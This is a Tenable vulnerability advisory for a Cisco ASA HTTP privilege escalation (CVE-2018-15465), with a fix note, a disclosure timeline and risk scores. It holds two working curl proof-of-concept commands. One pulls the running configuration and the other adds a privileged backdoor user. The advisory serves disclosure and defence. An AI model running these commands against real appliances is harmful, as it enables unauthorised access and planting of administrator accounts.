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[R1] Cisco Adaptive Security Appliance HTTP Privilege Escalation

High
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Synopsis

While examining a Cisco Adaptive Security Appliance, Tenable discovered a privilege escalation vulnerability in the HTTP interface. When command authorization is not enabled, an authenticated remote unprivileged (level 0 or 1) user can change or download files as well as upload or replace software images on the appliance.

A simple proof of concept for downloading the running configuration follows:

curl --basic -u notadmin -p -k http://[ip]/admin/system/running-config

The following proof of concept allows an unprivileged user to add a new privileged user to the running configuration:

curl --basic -u notadmin -p -k -X “POST” --data-binary “username fourthuser password backdoor privilege 15” “http://[ip]/admin/config”

Solution

Cisco has released an advisory and patches. You can find full details linked below. Also, enabling command authorization is a recommended best practice.

Additional References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20181219-asa-privesc

Disclosure Timeline

09/12/18 - Bug found.
09/17/18 - Vulnerabilities reported to [email protected] via encrypted email. 90 day is December 17, 2018.
09/17/18 - Cisco responds that Tenable sent with an old invalid key.
09/17/18 - Tenable, chastened, resends with the proper key.
09/17/18 - Cisco assigns CSCvm53531, CSCvm53537, CSCvm53539, and PSIRT-0723370376. Cisco states, "The last Cisco PSIRT publishing date of 2018 is November 7". Cisco asks for "joint disclosure" on Feb. 9, 2019.
09/17/18 - Tenable responds that Feb. 9, 2019 is unacceptable due to strict disclosure policy.
09/18/18 - Cisco replies with a handful of dates that could work. Also, having trouble reproducing all the results and asks for some command output.
09/18/18 - Tenable says Dec. 12 or Dec. 19 are fine. Sends additional output requested by Cisco.
09/19/18 - Cisco replies with additional questions about Tenable's write up.
09/19/18 - Tenable replies with explanations.
09/21/18 - Cisco confirms the vulnerabilities.
10/12/18 - Tenable asks for an update.
10/12/18 - Cisco says the team is still looking into it.
11/1/2018 - Tenable reminds Cisco that 45 days remain.
11/1/2018 - Cisco acknowledges.
12/7/2018 - Tenable asks for an update.
12/10/2018 - Cisco asks Tenable for coordinated disclosure on 12/19.
12/10/2018 - Tenable agrees.
12/12/2018 - Cisco assigns a CVE and shares some publication details. Asks Tenable to share their advisory.
12/13/2018 - Tenable acknowledges the request.
12/18/2018 - Cisco reminds Tenable of upcoming publication and shares the link.
12/18/2018 - Tenable shares a partial first draft of the advisory and asks for the list of fixed versions.
12/18/2018 - Cisco suggests a correction to the draft and provides the list of patched versions.
12/18/2018 - Tenable thanks Cisco.
12/19/2018 - Cisco publishes their advisory.
12/19/2018 - Tenable publishes their advisory.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2018-15465
Nessus Plugin ID: 119844
Tenable Advisory ID
TRA-2018-46
Credit

Ken Johnson

CVSSv2 Base / Temporal Score
7.9 / 6.5
CVSSv2 Vector
AV:N/AC:M/Au:S/C:P/I:P/A:N
Affected Products
Cisco Adaptive Security Appliance before 9.4.4.29, 9.6.4.20, 9.8.3.18, 9.9.2.36 and 9.10.1.7
Risk Factor
High

Advisory Timeline

12/19/2018 - [R1] Initial Release
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